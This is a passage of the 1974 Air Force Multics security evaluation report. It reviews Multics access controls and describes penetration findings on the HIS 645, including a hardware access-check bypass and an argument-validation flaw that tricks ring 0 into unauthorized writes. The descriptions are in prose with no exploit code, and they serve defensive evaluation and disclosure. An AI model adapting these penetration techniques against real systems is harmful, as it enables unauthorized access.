MULTICS SECURITY EVALUATION
VULNERABILITY ANALYSIS

Electronic Systems Division

JUNE 1974

DISTRIBUTED BY:
NTIS
National Technical Information Service
U. S. DEPARTMENT OF COMMERCE
LEGAL NOTICE

When U.S. Government drawings, specifications or other data are used for any purpose other than a definitely related government procurement operation, the government thereby incurs no responsibility nor any obligation whatsoever; and the fact that the government may have formulated, furnished, or in any way supplied the said drawings, specifications, or other data is not to be regarded by implication or otherwise as in any manner licensing the holder or any other person or conveying any rights or permission to manufacture, use, or sell any patented invention that may in any way be related thereto.

OTHER NOTICES

Do not return this copy. Retain or destroy.

REVIEW AND APPROVAL

This technical report has been reviewed and is approved for publication.

Robert E. Park  John J. Sullivan
ROBERT E. PARK, Lt Colonel, USAF  JOHN J. SULLIVAN, Colonel, USAF
Chief, Computer Security Branch  Chief, Techniques Engineering Division
FOR THE COMMANDER

Robert W. O'Keefe
ROBERT W. O'KEEFE, Colonel, USAF
Director, Information Systems
Technology Applications Office
Deputy for Command & Management Systems
REPORT DOCUMENTATION PAGE

1. REPORT NUMBER
   ESD-TR-74-193, Vol. II

2. GOVT ACCESSION NO.
   AD-A-001120

3. RECIPIENT'S CATALOG NUMBER

4. TITLE (and Subtitle)
   MULTICS SECURITY EVALUATION:
   VULNERABILITY ANALYSIS

5. TYPE OF REPORT & PERIOD COVERED
   Final Report
   March 1972 - June 1973

6. PERFORMING ORG. REPORT NUMBER

7. AUTHOR(s)
   Paul A. Karger, 2Lt, USAF
   Roger R. Schell, Major, USAF

8. CONTRACT OR GRANT NUMBER(S)
   IN-HOUSE

9. PERFORMING ORGANIZATION NAME AND ADDRESS
   Deputy for Command and Management Systems (MCII)
   Electronic Systems Division (AFSC)
   Hanscom AFB, MA 01730

10. PROGRAM ELEMENT, PROJECT, TASK
    AREA & WORK UNIT NUMBERS
    Program Element 64708F
    Project 6917

11. CONTROLLING OFFICE NAME AND ADDRESS
    Hq Electronic Systems Division
    Hanscom AFB, MA 01730

12. REPORT DATE
    June 1974

13. NUMBER OF PAGES
    156

14. MONITORING AGENCY NAME & ADDRESS (IF DIFFERENT FROM CONTROLLING OFFICE)

15. SECURITY CLASS. (OF THIS REPORT)
    UNCLASSIFIED

16. DISTRIBUTION STATEMENT (OF THIS REPORT)
    Approved for public release; distribution unlimited.

17. DISTRIBUTION STATEMENT (OF THE ABSTRACT ENTERED IN BLOCK 20, IF DIFFERENT FROM REPORT)

18. SUPPLEMENTARY NOTES
    This is Volume II of a 4 Volume report: Multics Security Evaluation. The other volumes
    are entitled: Vol. I: Results and Recommendations
    Vol. III: Password and File Encryption Techniques
    Vol. IV: Exemplary Performance under Demanding Workload

19. KEY WORDS (CONTINUE ON REVERSE SIDE IF NECESSARY AND IDENTIFY BY BLOCK NUMBER)
    Access Control
    Computer Security
    Descriptor Based Processors
    Hardware Access Control
    Multics
    Multi-level Systems
    Operating System Vulnerabilities
    Privacy
    Protection
    Reference Monitor

20. ABSTRACT (CONTINUE ON REVERSE SIDE IF NECESSARY AND IDENTIFY BY BLOCK NUMBER)
    A security evaluation of Multics for potential use as a two-level (Secret/Top Secret)
    system in the Air Force Data Services Center (AFDSC) is presented. An overview is
    provided of the present implementation of the Multics Security controls. The report then
    details the results of a penetration exercise of Multics on the HIS 645 computer. In
    addition, preliminary results of a penetration exercise of Multics on the new HIS 6180
    computer are presented. The report concludes that Multics as implemented today is not
    (Con't on reverse)
19. KEY WORDS

<table>
<thead>
<tr>
<th>Secure Computer Systems</th>
<th>Segmentation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Security Kernels</td>
<td>Time-sharing</td>
</tr>
<tr>
<td>Security Penetration</td>
<td>Virtual Memory</td>
</tr>
<tr>
<td>Security Testing</td>
<td></td>
</tr>
</tbody>
</table>

20. ABSTRACT

certifiably secure and cannot be used in an open use multi-level system. However, the Multics security design principles are significantly better than other contemporary systems. Thus, Multics as implemented today, can be used in a benign Secret/Top Secret environment. In addition, Multics forms a base from which a certifiably secure open use multi-level system can be developed.
This is Volume II of a 4 volume report prepared for the Air Force Data Services Center (AFDSF) by the Information Systems Technology Applications Office, Deputy for Command and Management Systems, Electronic Systems Division (ESD/MCI). The entire report represents an evaluation and recommendation of the Honeywell Multics system carried out under Air Force Project 6917 from March 1972 to June 1973. Work proceeding after June 1973 is briefly summarized. Work described in this volume was performed by personnel at ESD/MCI with support from the MITRE Corporation. Computer facilities at the Rome Air Development Center and the Massachusetts Institute of Technology were used in the evaluation effort.
TABLE OF CONTENTS

Section                                                                 Page

I INTRODUCTION                                                        5

1.1 Status of Multi-level Security                                   5
1.2 Requirement for Multics Security Evaluation                     5
1.3 Technical Requirements for Multi-level Security                 6
   1.3.1 Insecurity of Current Systems                              6
   1.3.2 Reference Monitor Concept                                  6
   1.3.3 Hypothesis: Multics Is "Secureable"                        7
1.4 Sites Used                                                       8

II MULTICS SECURITY CONTROLS                                         9

2.1 Hardware Security Controls                                       9
   2.1.1 Segmentation Hardware                                       9
   2.1.2 Master Mode                                                  10

2.2 Software Security Controls                                       12
   2.2.1 Protection Rings                                             12
   2.2.2 Access Control Lists                                         13
   2.2.3 Protected Access Identification                            15
   2.2.4 Master Mode Conventions                                     15

2.3 Procedural Security Controls                                     15
   2.3.1 Enciphered Passwords                                        15
   2.3.2 Login Audit Trail                                            16
   2.3.3 Software Maintenance Procedures                             16

III VULNERABILITY ANALYSIS                                           17

3.1 Approach Plan                                                    17

3.2 Hardware Vulnerabilities                                         17
   3.2.1 Random Failures                                              17
   3.2.2 Execute Instruction Access Check Bypass                      20
   3.2.3 Preview of 6180 Hardware Vulnerabilities                    22

3.3 Software Vulnerabilities                                         22
   3.3.1 Insufficient Argument Validation                            22
   3.3.2 Master Mode Transfer                                         25
   3.3.3 Unlocked Stack Base                                          30
   3.3.4 Preview of 6180 Software Vulnerabilities                    36
      3.3.4.1 No Call Limiter Vulnerability                            37
      3.3.4.2 SLT-KST Dual SDW Vulnerability                           37
      3.3.4.3 Additional Vulnerabilities                             38
### 3.4 Procedural Vulnerabilities

#### 3.4.1 Dump and Patch Utilities

- **3.4.1.1 Use of Insufficient Argument Validation**
- **3.4.1.2 Use of Unlocked Stack Base**
- **3.4.1.3 Generation of New SDW’s**

#### 3.4.2 Forging the Non-Forgeable User Identification

- **3.4.3 Accessing the Password File**
  - **3.4.3.1 Minimal Value of the Password File**
  - **3.4.3.2 The Multics Password File**

#### 3.4.4 Modifying Audit Trails

- **3.4.5 Trap Door Insertion**
  - **3.4.5.1 Classes of Trap Doors**
  - **3.4.5.2 Example of a Trap Door in Multics**

#### 3.4.6 Preview of 6180 Procedural Vulnerabilities

### 3.5 Manpower and Computer Costs

### IV CONCLUSIONS

- **4.1 Multics Is not Now Secure**
- **4.2 Multics as a Base for a Secure System**
  - **4.2.1 A System for a Benign Environment**
  - **4.2.2 Long Term Open Secure System**

### References

### Appendix

- **A** Subverter Listing
- **B** Unlocked Stack Base Listing
- **C** Trap Door in check*device_name Listing
- **D** Dump Utility Listing
- **E** Patch Utility Listing
- **F** Set Dates Utility Listing

### Glossary

3
LIST OF FIGURES

<table>
<thead>
<tr>
<th>Figure</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Segmentation Hardware</td>
</tr>
<tr>
<td>2</td>
<td>SDW Format</td>
</tr>
<tr>
<td>3</td>
<td>Directory Hierarchy</td>
</tr>
<tr>
<td>4</td>
<td>Execute Instruction Pypass</td>
</tr>
<tr>
<td>5</td>
<td>Insufficient Argument Validation</td>
</tr>
<tr>
<td>6</td>
<td>Master Mode Source Code</td>
</tr>
<tr>
<td>7</td>
<td>Master Mode Interpreted Object Code</td>
</tr>
<tr>
<td>8</td>
<td>Store With Master Mode Transfer</td>
</tr>
<tr>
<td>9</td>
<td>Unlocked Stack Base (Step 1)</td>
</tr>
<tr>
<td>10</td>
<td>Unlocked Stack Base (Step 2)</td>
</tr>
<tr>
<td>11</td>
<td>Dump/Patch Utility Using Insufficient Argument Validation</td>
</tr>
<tr>
<td>12</td>
<td>Dump/Patch Utility Using Unlocked Stack Base</td>
</tr>
<tr>
<td>13</td>
<td>Trap Door in check$device_name</td>
</tr>
</tbody>
</table>

LIST OF TABLES

<table>
<thead>
<tr>
<th>Table</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Subverter Test Attempts</td>
</tr>
<tr>
<td>2</td>
<td>Base Register Pairing</td>
</tr>
<tr>
<td>3</td>
<td>Cost Estimates</td>
</tr>
</tbody>
</table>

NOTATION

References in parentheses (2) are to footnotes. References in angle brackets (AHP73) are to other documents listed at the end of this report.
SECTION I
INTRODUCTION

1.1 Status of Multi-Level Security

A major problem with computing systems in the military today is the lack of effective multi-level security controls. The term multi-level security controls means, in the most general case, those controls needed to process several levels of classified material from unclassified through compartmented top secret in a multi-processing multi-user computer system with simultaneous access to the system by users with differing levels of clearances. The lack of such effective controls in all of today's computer operating systems has led the military to operate computers in a closed environment in which systems are dedicated to the highest level of classified material and all users are required to be cleared to that level. Systems may be changed from level to level, but only after going through very time consuming clearing operations on all devices in the system. Such dedicated systems result in extremely inefficient equipment and manpower utilization and have often resulted in the acquisition of much more hardware than would otherwise be necessary. In addition, many operational requirements cannot be met by dedicated systems because of the lack of Information sharing. It has been estimated by the Electronic Systems Division (ESD) sponsored Computer Security Technology Panel (AND73) that these additional costs may amount to $100,000,000 per year for the Air Force alone.

1.2 Requirement for Multics Security Evaluation

This evaluation of the security of the Multics system was performed under Project 6917, Program Element 64708F to meet the requirements of the Air Force Data Services Center (AFDSC). AFDSC must provide responsive interactive time-shared computer services to users within the Pentagon at all classification levels from unclassified to top secret. AFDSC in particular did not wish to incur the expense of multiple computer systems nor the expense of encryption devices for remote terminals which would otherwise be processing only unclassified material. In a separate study completed in February 1972, the Information Systems Technology Applications Office, Electronic Systems Division (ESD/MCI) identified the Honeywell Multics system as a candidate to meet both
AFOSC's multi-level security requirements and highly responsive advanced interactive time-sharing requirements.

1.3 Technical Requirements for Multi-Level Security

The ESD-sponsored Computer Security Technology Planning Study \(<\text{AND73}\rangle\) outlined the security weaknesses of present day computer systems and proposed a development plan to provide solutions based on current technology. A brief summary of the findings of the panel follows.

1.3.1 Insecurity of Current Systems

The internal controls of current computers repeatedly have been shown insecure through numerous penetration exercises on such systems as GCOS \(<\text{AMP71}\rangle\), WVMCCS GCOS \(<\text{ING73, JTSA73}\rangle\), and IBM OS/360/370 \(<\text{GCN72}\rangle\). This insecurity is a fundamental weakness of contemporary operating systems and cannot be corrected by "patches", "fix-ups", or "add-ons" to those systems. Rather, a fundamental reimplementation using an integrated hardware/software design which considers security as a fundamental requirement is necessary. In particular, steps must be taken to ensure the correctness of the security related portions of the operating system. It is not sufficient to use a team of experts to "test" the security controls of a system. Such a "tiger team" can only show the existence of vulnerabilities but cannot prove their non-existence.

Unfortunately, the managers of successfully penetrated computer systems are very reluctant to permit release of the details of the penetrations. Thus, most reports of penetrations have severe (and often unjustified) distribution restrictions leaving very few documents in the public domain. Concealment of such penetrations does nothing to deter a sophisticated penetrator and can in fact impede technical interchange and delay the development of a proper solution. A system which contains vulnerabilities cannot be protected by keeping those vulnerabilities secret. It can only be protected by the constraining of physical access to the system.

1.3.2 Reference Monitor Concept

The FSD Computer Security Technology Panel introduced the concept of a "reference monitor". This reference monitor is that hardware/software combination which must monitor all references by any program to any
data anywhere in the system to ensure that the security rules are followed. Three conditions must be met to ensure the security of a system based on a reference monitor.

a. The monitor must be tamper proof.

b. The monitor must be invoked for every reference to data anywhere in the system.

c. The monitor must be small enough to be proven correct.

The stated design goals of contemporary systems such as GCOs or OS/360 are to meet the first requirement (albeit unsuccessfully). The second requirement is generally not met by contemporary systems since they usually include "bypasses" to permit special software to operate or must suspend the reference monitor to provide addressability for the operating system in exercising its service functions. The best known of these is the bypass in OS/360 for the IBM supplied service aid, INASRZAP (SUPERZAP). Finally and most important, current operating systems are so large, so complex, and so monolithic that one cannot begin to attempt a formal proof or certification of their correct implementation.

1.3.3 Hypothesis: Multics is "Secureable"

The computer security technology panel identified the general class of descriptor driven processors (1) as extremely useful to the implementation of a reference monitor. Multics, as the most sophisticated of the descriptor-driven systems currently available, was hypothesized to be a potentially secureable system; that is, the Multics design was sufficiently well-organized and oriented towards security that the concept of a reference monitor could be implemented for Multics without fundamental changes to the facilities seen by Multics users. In particular, the Multics ring mechanism could protect the monitor from malicious or inadvertent tampering, and the Multics segmentation could

---

(1) Descriptor driven processors use some form of address translation through hardware interpretation of descriptor words or registers. Such systems include the Burroughs 6700, the Digital Equipment Corp. PDP-11/45, the Data General Nova 840, the DEC K1-10, the IBM 6180, the IRI 370/158 and 168, and several others not listed here.
enforce monitor mediation on every reference to data. However, the question of certifiability had not as yet been addressed in Multics. Therefore the Multics vulnerability analysis described herein was undertaken to:

a. Examine Multics for potential vulnerabilities.

b. Identify whether a reference monitor was practical for Multics.

c. Identify potential interim enhancements to Multics to provide security in a benign (restricted access) environment.

d. Determine the scope and dimension of a certification effort.

1.4 Sites Used

The vulnerability analysis described herein was carried out on the HIS 645 Multics Systems installed at the Massachusetts Institute of Technology and at the Rome Air Development Center. As the HIS 6180, the new Multics processor, was not available at the time of this study. This report will describe results of analysis of the HIS 645 only. Since the completion of the analysis, work has started on an evaluation of the security controls of Multics on the HIS 6180. Preliminary results of the work on the HIS 6180 are very briefly summarized in this report, to provide an understanding of the value of the evaluation of the HIS 645 in the context of the new hardware environment.
SECTION II
MULTICS SECURITY CONTROLS

This section provides a brief overview of the basic Multics security controls to provide necessary background for the discussion of the vulnerability analysis. However, a rather thorough knowledge of the Multics implementation is assumed throughout the rest of this document. More complete background material may be found in Lipner <LIP74>, Saltzer <SAL73>, Organick <ORG72>, and the Multics Programmers' Manual <MPM73>.

The basic security controls of Multics fall into three major areas: hardware controls, software controls, and procedural controls. This overview will touch briefly on each of these areas.

2.1 Hardware Security Controls

2.1.1 Segmentation Hardware

The most fundamental security controls in the HIS 645 Multics are found in the segmentation hardware. The basic instruction set of the 645 can directly address up to 256K (2) distinct segments (3) at any one time, each segment being up to 256K words long. (4) Segments are broken up into 1K word pages (5) which can be moved between primary and secondary storage by software, creating a very large virtual memory. However, we will not treat paging throughout most of this evaluation as it is transparent to security. Paging must be implemented

(2) 1K = 1024 units.

(3) Current software table sizes restrict a process to about 1000 segments. However, by increasing these table sizes, the full hardware potential may be used.

(4) The 645 software restricted segments to 64K words for efficiency reasons.

(5) The 645 hardware also supports 64 word pages which were not used. The 6180 supports only a single page size which can be varied by field modification from 64 words to 4096 words. Initially, a size of 1024 words is being used. The supervisors on both the 645 and 6180 use unpaged segments of length 0 mod 64.
correctly in a secure system. However, bugs in page control are generally difficult to exploit in a penetration, because the user has little or no control over paging operations.

Segments are accessed by the 645 CPU through segment descriptor words (SDW's) that are stored in the descriptor segment (DSEG). (See Figure 1.) To access segment N, the 645 CPU uses a processor register, the descriptor segment base register (DBR), to find the DSEG. It then accesses the Nth SDW in the DSEG to obtain the address of the segment and the access rights currently in force on that segment for the current user.

Each SDW contains the absolute address of the page table for the segment and the access control information. (See Figure 2.) The last 6 bits of the SDW determine the access rights to the segment - read, execute, write, etc. (6) Using these access control bits, the supervisor can protect the descriptor segment from unauthorized modification by denying access in the SDW for the descriptor segment.

2.1.2 Master Mode

To protect against unauthorized modification of the DBR, the processor operates in one of two states - master mode and slave mode. In master mode any instruction may be executed and access control checks are inhibited. (7) In slave mode, certain instructions including those which modify the DBR are inhibited. Master mode procedure segments are controlled by the class field in the SDW. Slave mode procedures may transfer to master mode procedures only through word zero of the master mode procedure to prevent unrestricted invocation of privileged programs. It is then the responsibility of the master mode software to protect itself from malicious calls by placing suitable protective routines beginning at location zero.

(6) A more detailed description of the SDW format may be found in the 645 processor manual <AGB71>.

(7) The counterpart of master mode on the HIS 6180 called privileged mode does not inhibit access control checking.
Figure 1. Segmentation Hardware
2.2 Software Security Controls

The most outstanding feature of the Multics security controls is that they operate on a basis of "form" rather than the classical basis of "content". That is to say, the Multics controls are based on operations on a uniform population of well defined objects, as opposed to the classical controls which rely on anticipating all possible types of accesses and make security essentially a battle of wits.

2.2.1 Protection Rings

The primary software security control on the 645 Multics system is the ring mechanism. It was originally postulated as desirable to extend the traditional master/slave mode relationship of conventional machines to permit layering within the supervisor and within user code (see Graham (GPA68)). Eight concentric rings of protection, numbered 0 - 7, are defined with
higher numbered rings having less privilege than lower numbered rings, and with ring 0 containing the "hardcore" supervisor. (8) Unfortunately, the 645 CPU does not implement protection rings in hardware. (9) Therefore, the eight protection rings are implemented by providing eight descriptor segments for each process (user), one descriptor segment per ring. Special fault codes are placed in those SDW's which can be used for cross-ring transfers so that ring 0 software can intervene and accomplish the descriptor segment swap between the calling and called rings.

2.2.2 Access Control Lists

Segments in Multics are stored in a hierarchy of directories. A directory is a special type of segment that is not directly accessible to the user and provides a place to store names and other information about subordinate segments and directories. Each segment and directory has an access control list (ACL) in its parent directory entry controlling who may read (r), write (w), or execute (e) the segment or obtain status (s) of, modify (m) entries in, or append (a) entries to a directory. For example in Figure 3, the user Jones.Druid has read permission to segment ALPHA and has null access to segment BETA. However, Jones.Druid has modify permission to directory DELTA, so he can give himself access to segment BETA. Jones.Druid cannot give himself write access to segment ALPHA, because he does not have modify permission to directory GAMMA. In turn, the right to modify the access control lists of GAMMA and DELTA is controlled by the access control list of directory EPSILON, stored in the parent of EPSILON. Access control security checks for segments are enforced by the ring 0 software by setting the appropriate bits in the SDW at the time that a user attempts to add a segment to his address space.

(8) The original design called for 64 rings, but this was reduced to 8 in 1971.

(9) One of the primary enhancements of the HIS 6180 is the addition of ring hardware (SCHR72) and a consequent elimination of the need for master mode procedures in the user ring.
Figure 3. Directory Hierarchy
2.2.3 Protected Access Identification

In order to do access checking, the ring 0 software must have a protected, non-forgeable identification of a user to compare with the ACL entries. This ID is established when a user signs on to Multics and is stored in the process data segment (PDS) which is accessible only in ring 0 or in master mode, so that the user may not tamper with the data stored in the PDS.

2.2.4 Master Mode Conventions

By convention, to protect master mode software, the original design specified that master mode procedures were not to be used outside ring 0. If the master mode procedure ran in the user ring, the master mode procedure itself would be forced to play the endless game of wits of the classical supervisor call. The master mode procedure would have to include code to check for all possible combinations of input arguments, rather than relying on a fundamental set of argument independent security controls. As an aid (or perhaps hindrance) to playing the game of wits, each master mode procedure must have a master mode pseudo-operation code assembled into location 0. The master mode pseudo-operation generates a code to test an index register for a value corresponding to an entry point in the segment. If the index register is invalid, the master mode pseudo-operation code saves the registers for debugging and brings the system down.

2.3 Procedural Security Controls

2.3.1 Enciphered Passwords

When a user logs in to Multics, he types a password as his primary authentication. Of course, the access control list of the password file denies access to regular users of the system. In addition, as a protection against loss of a system dump which could contain the password file, all passwords are stored in a "non-invertible" cipher form. When a user types his password, it is enciphered and compared with the stored enciphered version for validity. Clear text passwords are
2.3.2 Login Audit Trail

Each login and logout is carefully audited to check for attempts to guess valid user passwords. In addition, each user is informed of the date, time and terminal identification (if any) of last login to detect past compromises of the user's access rights. Further, the user is told the number of times his password has been given incorrectly since its last correct use.

2.3.3 Software Maintenance Procedures

The maintenance of the Multics software is carried out online on a dial-up Multics facility. A systems programmer prepares and nominally debugs his software for installation. He then submits his software to a library installer who copies and recompiles the source in a protected directory. The library installer then checks out the new software prior to installing it in the system source and object libraries. Ring 0 software is stored on a system tape that is reloaded into the system each time it is brought up. However, new system tapes are generated from online copies of the ring 0 software. The system libraries are protected against modification by the standard ACL mechanism. In addition, the library installers periodically check the date/time last modified of all segments in the library in an attempt to detect unauthorized modifications.
SECTION III
VULNERABILITY ANALYSIS

3.1 Approach Plan

It was hypothesized that although the fundamental design characteristics of Multics were sound, the implementation was carried out on an ad hoc basis and had security weaknesses in each of the three areas of security controls described in Section II: hardware, software, and procedures.

The analysis was to be carried out on a very limited basis with less than one-half man month per month level of effort. Due to the manpower restrictions, a goal of one vulnerability per security control area was set. The procedure followed was to postulate a weakness in a general area, verify the weakness in the system, experiment with the weakness on the Rome Air Development Center (RADC) Installation, and finally, using the resulting debugged penetration approach, exploit the weakness on the MIT Installation.

An attempt was to be made to operate with the same type of ground rules under which a real agent would operate. That is, with each penetration, an attempt would be made to extract or modify sensitive system data without detection by the system maintenance or administrative personnel.

Several exploitations were successfully investigated. These included changing access fields in SDW's, changing protected identities in the PDS, inserting trap doors into the system libraries, and accessing the system password file.

3.2 Hardware Vulnerabilities

3.2.1 Random Failures

One area of significant concern in a system processing multi-level classified material is that of random hardware failures. As described in Section 2.1.1, the fundamental security of the system is dependent on the correct operation of the segmentation hardware. If this hardware is prone to error, potential security vulnerabilities become a significant problem.
To attempt a gross measure of the rate of security sensitive component failure, a procedure called the "subverter" was written to sample the security sensitive hardware on a frequent basis, testing for component failures which could compromise the security controls. The subverter was run in the background of an interactive process. Once each minute, the subverter received a timer interrupt and performed one test from the list described below. Assuming the test did not successfully violate security rules, the subverter would go to sleep for one minute before trying the next test. A listing of the subverter may be found in Appendix A.

The subverter was run for 1100 hours in a one year period on the MIT 645 system. The number of times each test was attempted is shown in Table 1. During the 1100 operating hours, no security sensitive hardware component failures were detected, indicating good reliability for the 645 security hardware. However, two interesting anomalies were discovered in the tests. First, one undocumented instruction (octal 471) was discovered on the 645. Experimentation indicated that the new instruction had no obvious impact on security, but merely seemed to store some internal register of no particular interest. The second anomaly was a design error resulting in an algorithmic failure of the hardware described in Section 3.2.2.
### TABLE 1
Subverter Test Attempts
1100 Operating Hours

<table>
<thead>
<tr>
<th>Test Name</th>
<th># Attempts</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Clear Associative Memory</td>
<td>3526</td>
</tr>
<tr>
<td>2. Store Control Unit</td>
<td>3466</td>
</tr>
<tr>
<td>3. Load Timer Register</td>
<td>3444</td>
</tr>
<tr>
<td>4. Load Descriptor Base Register</td>
<td>3422</td>
</tr>
<tr>
<td>5. Store Descriptor Base Register</td>
<td>3403</td>
</tr>
<tr>
<td>6. Connect I/O Channel</td>
<td>3378</td>
</tr>
<tr>
<td>7. Delay Until Interrupt Signal</td>
<td>3359</td>
</tr>
<tr>
<td>8. Read Memory Controller Mask Register</td>
<td>3344</td>
</tr>
<tr>
<td>9. Set Memory Controller Mask Register</td>
<td>3328</td>
</tr>
<tr>
<td>10. Set Memory Controller Interrupt Cells</td>
<td>3309</td>
</tr>
<tr>
<td>11. Load Alarm Clock</td>
<td>3289</td>
</tr>
<tr>
<td>12. Load Associative Memory</td>
<td>3259</td>
</tr>
<tr>
<td>13. Store Associative Memory</td>
<td>3236</td>
</tr>
<tr>
<td>14. Restore Control Unit</td>
<td>3219</td>
</tr>
<tr>
<td>15. No Read Permission</td>
<td>3148</td>
</tr>
<tr>
<td>16. No Write Permission</td>
<td>3131</td>
</tr>
<tr>
<td>17. XED - No Read Permission</td>
<td>3113</td>
</tr>
<tr>
<td>18. XED - No Write Permission</td>
<td>3098</td>
</tr>
<tr>
<td>19. Tally Word Without Write Permission</td>
<td>3083</td>
</tr>
<tr>
<td>20. Bounds Fault &lt;64K</td>
<td>2398</td>
</tr>
<tr>
<td>21. Bounds Fault &gt;64K</td>
<td>2368</td>
</tr>
<tr>
<td>22. Illegal Opcodes</td>
<td>2108</td>
</tr>
</tbody>
</table>

Tests 1-14 are tests of master mode instructions. Tests 15 and 16 attempt simple violation of read and write permission as set on segment ACL's. Tests 17 and 18 are identical to 15 and 16 except that the faulting instructions are reached from an execute double instruction rather than normal instruction flow. Test 19 attempts to increment a tally word that is in a segment without write permission. Tests 20 and 21 take out of bounds faults on segments of zero length, forcing the supervisor to grow new page tables for them. Test 22 attempts execution of all the instructions marked illegal on the 645.
3.2.2 Execute Instruction Access Check Bypass

While experimenting with the hardware subverter, a sequence of code (10) was observed which would cause the hardware of the 645 to bypass access checking. Specifically, the execute instruction in certain cases described below would permit the executed instruction to access a segment for reading or writing without the corresponding permissions in the SDW.

This vulnerability occurred when the execute instruction was in certain restricted locations of a segment with at least read-execute (re) permission. (See Figure 4.) The execute instruction then referenced an object instruction in word zero of a second segment with at least R permission. The object instruction indrected through an ITS pointer in the first segment to access a word for reading or writing in a third segment. The third segment was required to be "active"; that is, to have an SDW pointing to a valid page table for the segment. If all these conditions were met precisely, the access control fields in the SDW of the third segment would be ignored and the object instruction permitted to complete without access checks.

The exact layout of instructions and indirect words was crucial. For example, if the object instruction used a base register rather than indrecting through the segment containing the execute instruction (i.e., staq ap10 rather than staq 0,*), then the access checks were done properly. Unfortunately, a complete schematic of the 645 was not available to determine the exact cause of the bypass. In informal communications with Honeywell, it was indicated that the error was introduced in a field modification to the 645 at MIT and was then made to all processors at all other sites.

This hardware bug represents a violation of one of the most fundamental rules of the Multics design - the checking of every reference to a segment by the hardware. This bug was not caused by fundamental design problems. Rather, it was caused by carelessness by the hardware engineering personnel.

(10) The subverter was designed to test sequences of code in which single failures could lead to security problems. Some of these sequences exercised relatively complex and infrequently used instruction modifications which experience had shown were prone to error.
Figure 4. Execute Instruction Bypass
No attempt was made to make a complete search for additional hardware design bugs, as this would have required logic diagrams for the 545. It was sufficient for this effort to demonstrate one vulnerability in this area.

3.2.3 Preview of 6180 Hardware Vulnerabilities

While no detailed look has been taken at the issue of hardware vulnerabilities on the 6180, the very first login of an ESD analyst to the 6180 inadvertently discovered a hardware vulnerability that crashed the system. The vulnerability was found in the Tally Word Without Write Permission test of the subverter. In this test, when the 6180 processor encountered the tally word without write permission, it signalled a "trouble" fault rather than an "access violation" fault. The "trouble" fault is normally signalled only when a fault occurs during the signalling of a fault. Upon encountering a "trouble" fault, the software normally brings the system down.

It should be noted that the HIS 6180 contains very new and complex hardware that, as of this publication, has not been completely "shaken down". Thus, Honeywell still quite reasonably expects to find hardware problems. However, the inadequacy of "testing" for security vulnerabilities applies equally well to hardware as to software. Simply "shaking down" the hardware cannot find all the possible vulnerabilities.

3.3 Software Vulnerabilities

Although the approach plan for the vulnerability analysis only called for locating one example of each class of vulnerability, three software vulnerabilities were identified as shown below. Again, the search was neither exhaustive nor systematic.

3.3.1 Insufficient Argument Validation

Because the 645 Multics system must simulate protection rings in software, there is no direct hardware validation of arguments passed in a subroutine call from a less privileged ring to a more privileged ring. Some form of validation is required, because a malicious user could call a ring 0 routine that stores information through a user supplied pointer. If the malicious user supplied a pointer to data to which ring 0 had write permission but to which the user ring did not, ring 0 could be "tricked"
into causing a security violation.

To provide validation, the 645 software ring crossing mechanism requires all gate segments (11) to declare to the "gatekeeper" the following information:

1. number of arguments expected
2. data type of each argument
3. access requirements for each argument—read only or read/write.

This information is stored by convention in specified locations within the gate segment. (12) The "gatekeeper" invokes an argument validation routine that inspects the argument list being passed to the gate to ensure that the declared requirements are met. If any test fails, the argument validator aborts the call and signals the condition "gate_error" in the calling ring.

In February 1973, a vulnerability was identified in the argument validator that would permit the "fooling" of ring 0 programs. The argument validator's algorithm to validate read or read/write permission was as follows: First copy the argument list into ring 0 to prevent modification of the argument list by a process running on another CPU in the system while the first process is in ring 0 and has completed argument validation. Next, force indirection through each argument pointer to obtain the segment number of the target argument. Then look up the segment in the calling ring's descriptor segment to check for read or write permission.

The vulnerability is as follows: (See figure 5.) An argument pointer supplied by the user is constructed to contain an IDC modifier (increment address, decrement tally, and continue) that causes the first reference through the indirect chain to address a valid argument. This first reference is the one made by the

---

(11) A gate segment is a segment used to cross rings. It is identified by R2 and R3 of its ring brackets R1, R2, R3 being different. See Organick <ORG72> for a detailed description of ring brackets.

(12) For the convenience of authors of gates, a special "gate language" and "gate compiler" are provided to generate properly formatted gates. Using this language, the author of the gate can declare the data type and access requirement of each argument.
Figure 5. Insufficient Argument Validation
argument validator. The reference through the IPI modifier increments the address field of the tally word causing it to point to a different indirect word which in turn points to a different ITS pointer which points to an argument which is writable in ring 0 only. The second reference through this modified indirect chain is made by the ring 0 program which proceeds to write data where it shouldn't. (13)

This vulnerability resulted from violation of a basic rule of the Multics design— that all arguments to a more privileged ring be validated. The problem was not in the fundamental design— the concept of a software argument validator is sound given the lack of ring hardware. The problem was an ad hoc implementation of that argument validator which overlooked a class of argument pointers.

Independently, a change was made to the MIT system which fixed this vulnerability in February 1973. The presence and exploitability of the vulnerability were verified on the RADC Multics which had not been updated to the version running at MIT. The method of correction chosen by MIT was rather "brute force." The argument validator was changed to require the modifier in the second word of each argument pointer always to be zero. This requirement solves the specific problem of the IPI modifier, but not the general problem of argument validation.

3.3.2 Master Mode Transfer

As described in Sections 2.1.2 and 2.2.4, the 545 CPU has a master mode in which privileged instructions may be executed and in which access checking is inhibited although address translation through segment and page tables is retained. (14) The original design of the Multics protection rings called for master mode code to be

(13) Depending on the actual number of references made, the malicious user need only vary the number of indirect words pointing to legal and illegal arguments. We have assumed for simplicity here that the validator and the ring 0 program make only one reference each.

(14) The 645 also has an absolute mode in which all addresses are absolute core addresses rather than being translated by the segmentation hardware. This mode is used only to initialize the system.
restricted to ring 0 by convention. (15) This convention caused the fault handling mechanism to be excessively expensive due to the necessity of switching from the user ring into ring 0 and out again using the full software ring crossing mechanism. It was therefore proposed and implemented that the signaller, the module responsible for processing faults to be signalled to the user, (16) be permitted to run in the user ring to speed up fault processing. The signaller is a master mode procedure, because it must execute the RCU (Restore Control Unit) instruction to restart a process after a fault.

The decision to move the signaller to the user ring was not felt to be a security problem by the system designers, because master mode procedures could only be entered at word zero. The signaller would be assembled with the master mode pseudo-operation code at word zero to protect it from any malicious attempt by a user to execute an arbitrary sequence of instructions within the procedure. It was also proposed, although never implemented, that the code of master mode procedures in the user ring be specially audited. However as we shall see in Section 3.4.4, auditing does not guarantee victory in the "battle of wits" between the implementor and the penetrator. Auditing cannot be used to make up for fundamental security weaknesses.

